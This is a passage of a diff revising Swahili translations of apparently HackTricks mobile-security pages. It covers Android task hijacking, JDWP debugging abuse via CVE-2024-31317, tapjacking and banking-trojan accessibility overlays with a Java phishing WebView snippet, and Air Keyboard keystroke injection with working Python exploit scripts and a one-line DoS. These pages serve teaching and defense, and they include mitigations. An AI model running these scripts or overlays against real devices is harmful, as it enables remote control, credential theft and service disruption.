* Kuweka wazi `android:taskAffinity=""` kwenye kiwango cha `<application>` (inapendekezwa) **au** kutoa kila shughuli affinity ya kipekee, ya kibinafsi.
|
||||
* Kwa skrini zenye nyeti sana, changanya hapo juu na `android:launchMode="singleInstance"` au ulinzi wa kisasa wa [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode).
|
||||
* Pandisha `targetSdkVersion` ya programu na kulazimisha mabadiliko ya tabia ya **Android 11** ambapo kazi hazishirikiwa kati ya vifurushi kwa default.
|
||||
* Pandisha `targetSdkVersion` ya programu na kutekeleza mabadiliko ya tabia ya **Android 11** ambapo kazi hazishirikiwa kati ya vifurushi kwa default.
|
||||
* Lenga **Android 12 (API 31) au zaidi** ili sifa ya lazima `android:exported` ilazimishe waendelezaji kukagua kila kipengele kinachoweza kufikiwa kutoka nje.
|
||||
* Fikiria kujilinda wakati wa kukimbia: mara kwa mara uliza `ActivityTaskManager` ili kuhakikisha kwamba kifurushi cha shughuli yako ya juu kinalingana na chako.
|
||||
|
||||
@ -128,7 +128,7 @@ Waendelezaji wanapaswa:
|
||||
|
||||
## Related UI-Hijacking techniques
|
||||
|
||||
Udukuzi wa kazi mara nyingi unachanganywa na au kubadilishwa na **tapjacking** (udanganyifu wa UI unaotegemea overlay). Utafiti wa 2025 **TapTrap** ulionyesha kwamba shughuli za *animation-driven* zisizo na uwazi zinaweza kupita vizuizi vya overlay-touch vilivyowekwa katika Android 12–14 na bado kuwadanganya watumiaji kutoa ruhusa hatari. Ingawa TapTrap si udukuzi wa *task* kwa usahihi, lengo la mwisho (kibofyo cha udukuzi) ni sawa – hivyo tathmini za kisasa zinapaswa kuangalia uso wote wa shambulio.
|
||||
Udukuzi wa kazi mara nyingi unachanganywa na au kubadilishwa na **tapjacking** (udanganyifu wa UI wa overlay). Utafiti wa 2025 **TapTrap** ulionyesha kwamba shughuli za *animation-driven* zisizo na uwazi zinaweza kupita vizuizi vya overlay-touch vilivyowekwa katika Android 12–14 na bado kuwadanganya watumiaji kutoa ruhusa hatari. Ingawa TapTrap si kwa usahihi *task* hijacking, lengo la mwisho (kuvutia kubonyeza) ni sawa – hivyo tathmini za kisasa zinapaswa kuangalia uso wote wa shambulio.
|
||||
|
||||
---
|
||||
|
||||
|
@ -33,7 +33,7 @@ Maudhui yanategemea https://medium.com/@shubhamsonani/hacking-with-precision-byp
|
||||
- Kwa kudumu, tumia `adb shell am setup-debug-app –w ––persistent <package_name>`.
|
||||
- Kuondoa bendera zote, tumia `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Andaa kwa Debugging katika Android Studio:**
|
||||
5. **Jiandikishe kwa Debugging katika Android Studio:**
|
||||
|
||||
- Tembea katika Android Studio hadi _File -> Open Profile or APK_.
|
||||
- Fungua APK iliyorecompiled.
|
||||
@ -43,7 +43,7 @@ Maudhui yanategemea https://medium.com/@shubhamsonani/hacking-with-precision-byp
|
||||
|
||||
### **Kupita Ukaguzi**
|
||||
|
||||
Programu, katika sehemu fulani, itathibitisha ikiwa inapatikana kwa debugging na pia itakagua binaries zinazoashiria kifaa kilichoshikiliwa. Debugger inaweza kutumika kubadilisha taarifa za programu, kuondoa bit ya debuggable, na kubadilisha majina ya binaries zinazotafutwa ili kupita ukaguzi huu.
|
||||
Programu, katika hatua fulani, itathibitisha ikiwa inapatikana kwa debugging na pia itakagua binaries zinazoashiria kifaa kilichoshikiliwa. Debugger inaweza kutumika kubadilisha taarifa za programu, kuondoa kipande cha debuggable, na kubadilisha majina ya binaries yanayotafutwa ili kupita ukaguzi huu.
|
||||
|
||||
Kwa ukaguzi wa debuggable:
|
||||
|
||||
@ -64,32 +64,32 @@ Uonyeshaji ulitolewa kwa kutumia programu yenye udhaifu inayojumuisha kitufe na
|
||||
## **Kuangalia Uthibitisho**
|
||||
|
||||
- Programu ilitolewa kwa kutumia `apktool` ili kufikia faili ya `AndroidManifest.xml`.
|
||||
- Uwepo wa `android_debuggable="true"` katika AndroidManifest.xml unaonyesha kuwa programu inaweza kudebugged na inahatarisha kutumika.
|
||||
- Uwepo wa `android_debuggable="true"` katika AndroidManifest.xml unaonyesha kuwa programu inaweza kudebugged na inahatarishwa kwa matumizi mabaya.
|
||||
- Inafaa kutaja kuwa `apktool` inatumika pekee kuangalia hali ya debuggable bila kubadilisha msimbo wowote.
|
||||
|
||||
## **Kuandaa Mipangilio**
|
||||
|
||||
- Mchakato ulijumuisha kuanzisha emulator, kusakinisha programu yenye udhaifu, na kutumia `adb jdwp` ili kubaini bandari za Dalvik VM zinazot listening.
|
||||
- Mchakato ulijumuisha kuanzisha emulator, kusakinisha programu yenye udhaifu, na kutumia `adb jdwp` kutambua bandari za Dalvik VM zinazotafutwa.
|
||||
- JDWP (Java Debug Wire Protocol) inaruhusu debugging ya programu inayotembea katika VM kwa kufichua bandari ya kipekee.
|
||||
- Kuelekeza bandari ilikuwa muhimu kwa debugging ya mbali, ikifuatiwa na kuunganisha JDB kwenye programu lengwa.
|
||||
|
||||
## **Kuingiza Msimbo Wakati wa Utendaji**
|
||||
|
||||
- Uthibitisho ulifanywa kwa kuweka breakpoints na kudhibiti mtiririko wa programu.
|
||||
- Utekelezaji ulifanywa kwa kuweka breakpoints na kudhibiti mtiririko wa programu.
|
||||
- Amri kama `classes` na `methods <class_name>` zilitumika kufichua muundo wa programu.
|
||||
- Breakpoint ilipangwa katika njia ya `onClick`, na utekelezaji wake ulidhibitiwa.
|
||||
- Amri za `locals`, `next`, na `set` zilitumika kuchunguza na kubadilisha mabadiliko ya ndani, hasa kubadilisha ujumbe wa "Try Again" kuwa "Hacked".
|
||||
- Amri za `locals`, `next`, na `set` zilitumika kukagua na kubadilisha mabadiliko ya ndani, hasa kubadilisha ujumbe wa "Try Again" kuwa "Hacked".
|
||||
- Msimbo uliobadilishwa ulitekelezwa kwa kutumia amri ya `run`, kwa mafanikio kubadilisha matokeo ya programu kwa wakati halisi.
|
||||
|
||||
Mfano huu ulionyesha jinsi tabia ya programu inayoweza kudebugged inaweza kudhibitiwa, ikionyesha uwezekano wa udanganyifu wa zaidi kama kupata ufikiaji wa shell kwenye kifaa katika muktadha wa programu.
|
||||
Mfano huu ulionyesha jinsi tabia ya programu inayoweza kudebugged inaweza kudhibitiwa, ikionyesha uwezekano wa matumizi mabaya zaidi kama kupata ufikiaji wa shell kwenye kifaa katika muktadha wa programu.
|
||||
|
||||
---
|
||||
|
||||
# 2024 – Kugeuza **programu yoyote** kuwa mchakato wa debuggable (CVE-2024-31317)
|
||||
|
||||
Hata kama APK lengwa _siyo_ iliyotolewa na bendera ya `android:debuggable`, utafiti wa hivi karibuni umeonyesha kuwa inawezekana kulazimisha **programu zisizo na mpangilio** kuanza na bendera ya wakati wa `DEBUG_ENABLE_JDWP` kwa kutumia njia ambayo Zygote inasoma hoja za amri.
|
||||
Hata kama APK lengwa _siyo_ imetolewa na bendera ya `android:debuggable`, utafiti wa hivi karibuni umeonyesha kuwa inawezekana kulazimisha **programu za kiholela** kuanzishwa na bendera ya wakati `DEBUG_ENABLE_JDWP` kwa kutumia njia ambayo Zygote inasoma hoja za amri.
|
||||
|
||||
* **Udhaifu:** Uthibitishaji usio sahihi wa `--runtime-flags` zinazotolewa kupitia socket ya amri ya Zygote inaruhusu mshambuliaji ambaye anaweza kufikia `system_server` (kwa mfano kupitia shell ya `adb` yenye mamlaka ambayo ina ruhusa ya `WRITE_SECURE_SETTINGS`) kuingiza vigezo vya ziada. Wakati amri iliyoundwa inarudiwa na `system_server`, programu ya mwathirika inafanywa kama _debuggable_ na na thread ya JDWP inayosikiliza. Tatizo hili linafuatiliwa kama **CVE-2024-31317** na lilirekebishwa katika Bulletin ya Usalama ya Android ya Juni 2024.
|
||||
* **Udhaifu:** Uthibitisho usiofaa wa `--runtime-flags` zinazotolewa kupitia socket ya amri ya Zygote unaruhusu mshambuliaji ambaye anaweza kufikia `system_server` (kwa mfano kupitia shell ya `adb` yenye mamlaka ambayo ina ruhusa ya `WRITE_SECURE_SETTINGS`) kuingiza vigezo vya ziada. Wakati amri iliyoundwa inarudiwa na `system_server`, programu ya mwathirika inafanywa kama _debuggable_ na na thread ya JDWP inayosikiliza. Tatizo hili linafuatiliwa kama **CVE-2024-31317** na lilirekebishwa katika Bulletin ya Usalama ya Android ya Juni 2024.
|
||||
* **Athari:** Ufikiaji kamili wa kusoma/kandika kwenye saraka ya data ya faragha ya **programu yoyote** (ikiwemo zile zenye mamlaka kama `com.android.settings`), wizi wa tokeni, kupita MDM, na katika kesi nyingi njia ya moja kwa moja ya kupandisha mamlaka kwa kutumia mwisho wa IPC uliotolewa wa mchakato sasa-debuggable.
|
||||
* **Toleo lililoathirika:** Android 9 hadi 14 kabla ya kiwango cha patch ya Juni 2024.
|
||||
|
||||
@ -107,12 +107,12 @@ adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> Thamani iliyoundwa katika hatua ya 1 inavunja parser kutoka kwenye “fast-path” na kuongezea amri ya pili ya synthetic ambapo `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) inakubaliwa kana kwamba imetolewa na mfumo. Mara tu programu inapozaliwa, soketi ya JDWP inafunguliwa na hila za kawaida za dynamic-debug (badilisha mbinu, pataji ya mabadiliko, sindikiza ya moja kwa moja ya Frida, nk.) zinaweza kufanyika **bila kubadilisha APK au picha ya kuanzisha kifaa**.
|
||||
> Thamani iliyoundwa katika hatua ya 1 inavunja parser kutoka kwenye "fast-path" na kuongezea amri ya pili ya synthetic ambapo `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) inakubaliwa kana kwamba imetolewa na mfumo. Mara tu programu inapozaliwa, soketi ya JDWP inafunguliwa na hila za kawaida za dynamic-debug (badilisha mbinu, pataji ya mabadiliko, sindikiza ya moja kwa moja ya Frida, nk.) zinaweza kufanyika **bila kubadilisha APK au picha ya kuanzisha kifaa**.
|
||||
|
||||
## Ugunduzi & Kupunguza
|
||||
|
||||
* Pataji hadi **2024-06-01** (au baadaye) kiwango cha usalama – Google imeimarisha `ZygoteCommandBuffer` ili amri zinazofuata zisiweze kupitishwa kwa njia hii.
|
||||
* Punguza ufikiaji wa `WRITE_SECURE_SETTINGS` / `shell` kwenye vifaa vya uzalishaji. Uvunjaji huu unahitaji ruhusa hii, ambayo kawaida inashikiliwa tu na ADB au programu zenye mamlaka ya OEM.
|
||||
* Punguza ufikiaji wa `WRITE_SECURE_SETTINGS` / `shell` kwenye vifaa vya uzalishaji. Ulaghai huu unahitaji ruhusa hii, ambayo kawaida inashikiliwa tu na ADB au programu zenye mamlaka ya OEM.
|
||||
* Kwenye meli zinazodhibitiwa na EMM/MDM, enforce `ro.debuggable=0` na kataa shell kupitia `adb disable-verifier`.
|
||||
|
||||
---
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Basic Information**
|
||||
|
||||
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha waziwazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\
|
||||
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoifunika kwa wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\
|
||||
Kwa hivyo, inafanya **mtumiaji kuwa kipofu na kutokujua kwamba anafanya vitendo kwenye programu ya mwathirika**.
|
||||
|
||||
### Detection
|
||||
@ -21,12 +21,12 @@ Unaweza pia kuangalia toleo la chini la SDK la programu, ukichunguza thamani ya
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Ikiwa **`android:filterTouchesWhenObscured`** imewekwa kuwa **`true`**, `View` haitapokea kugusa wakati dirisha la mtazamo linapofichwa na dirisha lingine linaloonekana.
|
||||
Ikiwa **`android:filterTouchesWhenObscured`** imewekwa kuwa **`true`**, `View` haitapokea mguso wakati dirisha la mtazamo linapofunikwa na dirisha lingine linaloonekana.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
Sifa **`setFilterTouchesWhenObscured`** iliyowekwa kuwa kweli pia inaweza kuzuia matumizi ya udhaifu huu ikiwa toleo la Android ni la chini.\
|
||||
Ikiwa imewekwa kuwa **`true`**, kwa mfano, kitufe kinaweza kuondolewa kiotomatiki **ikiwa kimefichwa**:
|
||||
Ikiwa imewekwa kuwa **`true`**, kwa mfano, kitufe kinaweza ku **zuiliwa kiotomatiki ikiwa kimefunikwa**:
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
@ -50,13 +50,13 @@ Mradi wa mfano unaotekeleza **FloatingWindowApp**, ambayo inaweza kutumika kuwek
|
||||
### Qark
|
||||
|
||||
> [!CAUTION]
|
||||
> Inaonekana mradi huu sasa hauhifadhiwi na kazi hii haifanyi kazi ipasavyo tena
|
||||
> Inaonekana mradi huu sasa hauhifadhiwi na kazi hii haifanyi kazi vizuri tena
|
||||
|
||||
Unaweza kutumia [**qark**](https://github.com/linkedin/qark) na vigezo `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` ili kuunda programu mbaya ya kujaribu uwezekano wa **Tapjacking** udhaifu.\
|
||||
|
||||
Kuzuia ni rahisi kwa sababu mtengenezaji anaweza kuchagua kutopokea matukio ya kugusa wakati mtazamo umefunikwa na mwingine. Kutumia [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Wakati mwingine ni muhimu kwamba programu iweze kuthibitisha kwamba kitendo kinafanywa kwa maarifa na idhini kamili ya mtumiaji, kama vile kutoa ombi la ruhusa, kufanya ununuzi au kubofya tangazo. Kwa bahati mbaya, programu mbaya inaweza kujaribu kumdanganya mtumiaji kufanya vitendo hivi, bila kujua, kwa kuficha kusudi lililokusudiwa la mtazamo. Kama suluhisho, mfumo unatoa mekanizma ya kuchuja kugusa ambayo inaweza kutumika kuboresha usalama wa mitazamo inayotoa ufikiaji wa kazi nyeti.
|
||||
> Wakati mwingine ni muhimu kwa programu kuweza kuthibitisha kwamba kitendo kinafanywa kwa maarifa na idhini kamili ya mtumiaji, kama vile kutoa ombi la ruhusa, kufanya ununuzi au kubofya tangazo. Kwa bahati mbaya, programu mbaya inaweza kujaribu kumdanganya mtumiaji kufanya vitendo hivi, bila kujua, kwa kuficha kusudi lililokusudiwa la mtazamo. Kama suluhisho, mfumo unatoa mekanizma ya kuchuja kugusa ambayo inaweza kutumika kuboresha usalama wa mitazamo inayotoa ufikiaji wa kazi nyeti.
|
||||
>
|
||||
> Ili kuwezesha kuchuja kugusa, piga [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) au weka sifa ya mpangilio ya android:filterTouchesWhenObscured kuwa kweli. Wakati imewezeshwa, mfumo utatupa kugusa ambazo zinapokelewa kila wakati dirisha la mtazamo linapofunikwa na dirisha lingine linaloonekana. Kama matokeo, mtazamo hautapokea kugusa wakati toast, mazungumzo au dirisha lingine linapojitokeza juu ya dirisha la mtazamo.
|
||||
|
||||
@ -64,12 +64,12 @@ Kuzuia ni rahisi kwa sababu mtengenezaji anaweza kuchagua kutopokea matukio ya k
|
||||
|
||||
## Ulaghai wa Overlay wa Upatikanaji (Toleo la Benki-Trojan)
|
||||
|
||||
Mbali na Tapjacking ya kawaida, familia za kisasa za malware za benki za Android (mfano **ToxicPanda**, BrasDex, Sova, nk.) zinatumia **Huduma ya Upatikanaji** kuweka **overlay** ya WebView ya skrini nzima juu ya programu halali huku bado ikiwezesha **kupeleka ingizo la mtumiaji** kwa mtazamo ulio chini. Hii inaongeza sana uaminifu na inawawezesha washambuliaji kuiba akidi, OTPs au hata kuendesha shughuli za udanganyifu.
|
||||
Mbali na Tapjacking ya kawaida, familia za kisasa za malware za benki za Android (mfano **ToxicPanda**, BrasDex, Sova, nk.) zinatumia **Huduma ya Upatikanaji** kuweka WebView ya skrini nzima **overlay** juu ya programu halali huku bado zikiwa na uwezo wa **kupeleka ingizo la mtumiaji** kwa mtazamo ulio chini. Hii inaongeza sana uaminifu na inawawezesha washambuliaji kuiba akidi, OTPs au hata kuendesha shughuli za udanganyifu.
|
||||
|
||||
### Inavyofanya kazi
|
||||
1. APK mbaya inahitaji ruhusa ya `BIND_ACCESSIBILITY_SERVICE`, kawaida ikificha ombi hilo nyuma ya mazungumzo ya uwongo ya Google/Chrome/PDF-viewer.
|
||||
1. APK mbaya inahitaji ruhusa ya `BIND_ACCESSIBILITY_SERVICE`, kawaida ikificha ombi hilo nyuma ya mazungumzo ya uwongo ya Google/Chrome/muonekano wa PDF.
|
||||
2. Mara mtumiaji anapowezesha huduma hiyo, malware inasimulia kwa programu taps zinazohitajika kutoa ruhusa hatari zaidi (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. **WebView** inakuzwa na kuongezwa kwa meneja wa dirisha kwa kutumia aina ya dirisha **`TYPE_ACCESSIBILITY_OVERLAY`**. Overlay inaweza kuonyeshwa kuwa opaque kabisa au semi-transparent na inaweza kuwekwa alama kama *“kupitia”* ili kugusa asili bado zifikishwe kwa shughuli ya nyuma (hivyo shughuli hiyo inafanyika wakati mwathirika anaona tu fomu ya ulaghai).
|
||||
3. **WebView** inakuzwa na kuongezwa kwa meneja wa dirisha kwa kutumia aina ya dirisha **`TYPE_ACCESSIBILITY_OVERLAY`**. Overlay inaweza kuonyeshwa kuwa opaque kabisa au semi-transparent na inaweza kuwekwa alama kama *“kupitia”* ili kugusa asilia bado zifikishwe kwa shughuli ya nyuma (hivyo shughuli hiyo inafanyika wakati mwathirika anaona tu fomu ya ulaghai).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
@ -87,7 +87,7 @@ wm.addView(phishingView, lp);
|
||||
```
|
||||
### Mchakato wa kawaida unaotumiwa na Trojans za benki
|
||||
* Uliza pakiti zilizowekwa (`QUERY_ALL_PACKAGES`) ili kubaini ni programu gani ya benki / wallet inayofunguliwa kwa sasa.
|
||||
* Pakua **kiolezo cha overlay cha HTML/JS** kutoka C2 ambacho kinakidhi kuiga programu hiyo maalum (Nembo, rangi, nyuzi za i18n…).
|
||||
* Pakua **kiolezo cha overlay cha HTML/JS** kutoka C2 ambacho kinakidhi kwa ukamilifu programu hiyo maalum (Nembo, rangi, nyuzi za i18n…).
|
||||
* Onyesha overlay, pata akidi/ PIN / muundo.
|
||||
* Tumia **API ya Uwezo** (`performGlobalAction`, `GestureDescription`) kujiandaa kwa uhamisho katika hali ya nyuma.
|
||||
|
||||
@ -98,9 +98,9 @@ wm.addView(phishingView, lp);
|
||||
- Changanya na `setFilterTouchesWhenObscured(true)` na `FLAG_SECURE`.
|
||||
* Kuimarisha mfumo:
|
||||
- Zima *Sakinisha kutoka Vyanzo Visivyojulikana* & *Uwezo kwa programu zisizoaminika*.
|
||||
- Lazimisha PlayProtect & vifaa vilivyo na sasisho.
|
||||
- Lazimisha PlayProtect & vifaa vilivyosasishwa.
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
* [Bitsight – ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -9,14 +9,14 @@ Toleo la iOS la programu ya kibiashara **“Air Keyboard”** (App Store ID 6463
|
||||
* **≤ 1.0.4** – msikilizaji wa TCP wa kawaida kwenye **bandari 8888** inayotarajia kichwa cha urefu wa byte 2 kinachofuatiwa na *device-id* na mzigo wa ASCII.
|
||||
* **≥ 1.0.5 (Juni 2025)** – msikilizaji wa **WebSocket** kwenye *bandari hiyo hiyo* (**8888**) inayochambua funguo za **JSON** kama `{"type":1,"text":"…"}`.
|
||||
|
||||
Kila kifaa kwenye Wi-Fi / subnet hiyo hiyo kinaweza hivyo **kuingiza pembejeo za kibodi zisizo na mipaka kwenye simu ya mwathirika, kufikia utekaji wa mwingiliano wa mbali**.
|
||||
Kijengwa cha Android kinachosindikiza kinakusikiliza kwenye **bandari 55535**. Kinafanya mkono dhaifu wa AES-ECB lakini takataka iliyoundwa bado inasababisha **kosa lisiloshughulikiwa ndani ya OpenSSL**, ikisababisha huduma ya nyuma kuanguka (**DoS**).
|
||||
Kila kifaa kwenye Wi-Fi / subnet hiyo hiyo kinaweza hivyo **kuingiza pembejeo za kibodi zisizo na mipaka kwenye simu ya mwathirika, kufikia uharibu wa mwingiliano wa mbali**.
|
||||
Toleo la Android linafanya kazi kwenye **bandari 55535**. Linafanya mkono dhaifu wa AES-ECB lakini takataka iliyoundwa bado inasababisha **kosa lisiloshughulikiwa ndani ya OpenSSL**, ikisababisha huduma ya nyuma kuanguka (**DoS**).
|
||||
|
||||
> Uthibitisho wa usalama **bado haujarekebishwa wakati wa kuandika (Julai 2025)** na programu hiyo inapatikana bado kwenye Duka la Programu.
|
||||
> Uthibitisho huu ni **bado haujarekebishwa wakati wa kuandika (Julai 2025)** na programu hiyo inapatikana bado kwenye Duka la Programu.
|
||||
|
||||
---
|
||||
|
||||
## 1. Huduma ya Ugunduzi
|
||||
## 1. Service Discovery
|
||||
|
||||
Scan mtandao wa ndani na utafute bandari mbili zilizowekwa zinazotumiwa na programu:
|
||||
```bash
|
||||
@ -33,7 +33,7 @@ adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
Katika **iOS iliyovunjwa** unaweza kufanya kitu kinachofanana na `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||
Katika **iOS iliyovunjwa** unaweza kufanya kitu kama hicho na `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||
|
||||
---
|
||||
|
||||
@ -49,7 +49,7 @@ Ilani ya *urefu* inajumuisha byte ya `device_id` **lakini sio** kichwa cha byte
|
||||
|
||||
### 2.2 Sasa (≥ 1.0.5) – JSON kupitia WebSocket
|
||||
|
||||
Toleo 1.0.5 lilihamishwa kimya kimya kwenda WebSockets huku likihifadhi nambari ya bandari bila kubadilisha. Kichocheo kidogo cha funguo kinaonekana kama:
|
||||
Toleo 1.0.5 lilihamishwa kimya kimya kwenda WebSockets huku likihifadhi nambari ya bandari bila kubadilisha. Kichocheo kidogo kinaonekana kama:
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
@ -83,7 +83,7 @@ with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
### 3.2 Kulenga ≥ 1.0.5 (WebSocket)
|
||||
### 3.2 Kulenga ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
@ -102,13 +102,13 @@ ws.send(json.dumps({
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*ASCII yoyote inayoweza kuchapishwa — ikiwa ni pamoja na line-feeds, tabs na funguo nyingi maalum — inaweza kutumwa, ikimpa mshambuliaji nguvu sawa na ingizo la mtumiaji wa kimwili: kuzindua programu, kutuma IMs, kufungua URL za uharibifu, kubadilisha mipangilio, n.k.*
|
||||
*ASCII yoyote inayoweza kuchapishwa — ikiwa ni pamoja na mistari ya kuhamasisha, tabo na funguo nyingi maalum — inaweza kutumwa, ikimpa mshambuliaji nguvu sawa na ingizo la mtumiaji wa kimwili: kuzindua programu, kutuma IMs, kufungua URL za uharibifu, kubadilisha mipangilio, n.k.*
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
## 4. Android Companion – Kukatiza Huduma
|
||||
|
||||
Bandari ya Android (55535) inatarajia **neno la siri la herufi 4 lililofichwa kwa kutumia funguo za AES-128-ECB zilizowekwa kwa ngumu** ikifuatiwa na nonce ya nasibu. Makosa ya uchambuzi yanapanda hadi `AES_decrypt()` na hayakamatwi, yakimaliza nyuzi za msikilizaji. Paket moja iliyo na makosa inatosha kuwafanya watumiaji halali wawe nje ya mtandao hadi mchakato urudiwa.
|
||||
Bandari ya Android (55535) inatarajia **nenosiri la herufi 4 lililofichwa kwa kutumia funguo za AES-128-ECB zilizowekwa kwa ngumu** ikifuatiwa na nonce ya nasibu. Makosa ya uchambuzi yanapanda hadi `AES_decrypt()` na hayakamatwi, yakimaliza nyuzi za msikilizaji. Paket moja iliyo na makosa inatosha kuwafanya watumiaji halali kukatwa hadi mchakato urudishwe.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -117,13 +117,13 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
## 5. Programu Zinazohusiana – Mfano wa Mara kwa Mara wa Kupinga
|
||||
|
||||
Air Keyboard **siyo kesi ya pekee**. Programu nyingine za simu za “remote keyboard/mouse” zimekuja na kasoro hiyo hiyo:
|
||||
Air Keyboard si **kesi ya pekee**. Programu nyingine za simu za “remote keyboard/mouse” zimekuja na kasoro hiyo hiyo:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 inaruhusu utekelezaji wa amri zisizo na uthibitisho na uandishi wa funguo za maandiko wazi.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE isiyo na uthibitisho & ufuatiliaji wa trafiki.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 hakuna-siri ya chaguo-msingi, PIN dhaifu ya nguvu na uvujaji wa maandiko wazi.
|
||||
|
||||
Mifano hii inaonyesha kutokujali kwa mfumo wa **uso wa mashambulizi yanayoelekezwa kwenye mitandao katika programu za simu**.
|
||||
Mifano hii inaonyesha kutokujali kwa mfumo wa **uso wa mashambulizi yanayoelekezwa kwenye mitandao kwenye programu za simu**.
|
||||
|
||||
---
|
||||
|
||||
@ -131,23 +131,23 @@ Mifano hii inaonyesha kutokujali kwa mfumo wa **uso wa mashambulizi yanayoelekez
|
||||
|
||||
1. **Hakuna ukaguzi wa asili / uaminifu** kwenye fremu zinazokuja (iOS).
|
||||
2. **Matumizi mabaya ya cryptographic** (funguo ya kudumu, ECB, ukosefu wa uthibitisho wa urefu) na **ukosefu wa usimamizi wa makosa** (Android).
|
||||
3. **Haki ya Mtumiaji ya Mtandao wa Mitaa ≠ usalama** – iOS inahitaji idhini ya wakati wa kukimbia kwa trafiki ya LAN, lakini haitoi uthibitisho sahihi.
|
||||
3. **Haki ya Mtumiaji ya Mtandao wa Mitaa ≠ usalama** – iOS inahitaji idhini ya wakati wa kukimbia kwa trafiki ya LAN, lakini haitabadilisha uthibitisho sahihi.
|
||||
|
||||
---
|
||||
|
||||
## 7. Kuimarisha & Hatua za Kijamii
|
||||
## 7. Kuimarisha & Hatua za Ulinzi
|
||||
|
||||
Mapendekezo ya waendelezaji:
|
||||
|
||||
* Fungamanisha msikilizaji na **`127.0.0.1`** na tunnel kupitia **mTLS** au **Noise XX** ikiwa udhibiti wa mbali unahitajika.
|
||||
* Pata **siri za kifaa kila wakati wakati wa kuanzisha** (mfano, QR code au PIN ya Kuunganisha) na kulazimisha *uthibitisho wa pamoja* kabla ya kushughulikia ingizo.
|
||||
* Fungamanisha msikilizaji kwenye **`127.0.0.1`** na tunnel kupitia **mTLS** au **Noise XX** ikiwa udhibiti wa mbali unahitajika.
|
||||
* Pata **siri za kifaa-kila wakati wa kuanzisha** (mfano, QR code au PIN ya Kuunganisha) na kulazimisha *uthibitisho wa pamoja* kabla ya kushughulikia ingizo.
|
||||
* Adopt **Apple Network Framework** na *NWListener* + TLS badala ya soketi za kawaida.
|
||||
* Tekeleza **ukaguzi wa akili wa urefu** na usimamizi wa makosa ulioandaliwa wakati wa kufungua au kufasiri fremu.
|
||||
* Tekeleza **ukaguzi wa urefu wa prefix** na usimamizi wa makosa ulio na muundo wakati wa kufungua au kufasiri fremu.
|
||||
|
||||
Mafanikio ya haraka ya Blue-/Red-Team:
|
||||
|
||||
* **Uwindaji wa Mtandao:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` au chujio cha Wireshark `tcp.port == 8888`.
|
||||
* **Ukaguzi wa wakati wa kukimbia:** Skripti ya Frida inashikilia `socket()`/`NWConnection` ili orodhesha wasikilizaji wasiotarajiwa.
|
||||
* **Uwindaji wa Mtandao:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` au chujio la Wireshark `tcp.port == 8888`.
|
||||
* **Ukaguzi wa Wakati wa Kukimbia:** Skripti ya Frida inashikilia `socket()`/`NWConnection` ili orodhesha wasikilizaji wasiotarajiwa.
|
||||
* **Ripoti ya Faragha ya Programu ya iOS (Mipangilio ▸ Faragha & Usalama ▸ Ripoti ya Faragha ya Programu)** inaonyesha programu zinazowasiliana na anwani za LAN – muhimu kwa kugundua huduma za uasi.
|
||||
* **Mobile EDRs** zinaweza kuongeza sheria rahisi za Yara-L kwa funguo za JSON `"selectionStart"`, `"selectionEnd"` ndani ya mzigo wa TCP wa maandiko wazi kwenye bandari 8888.
|
||||
|
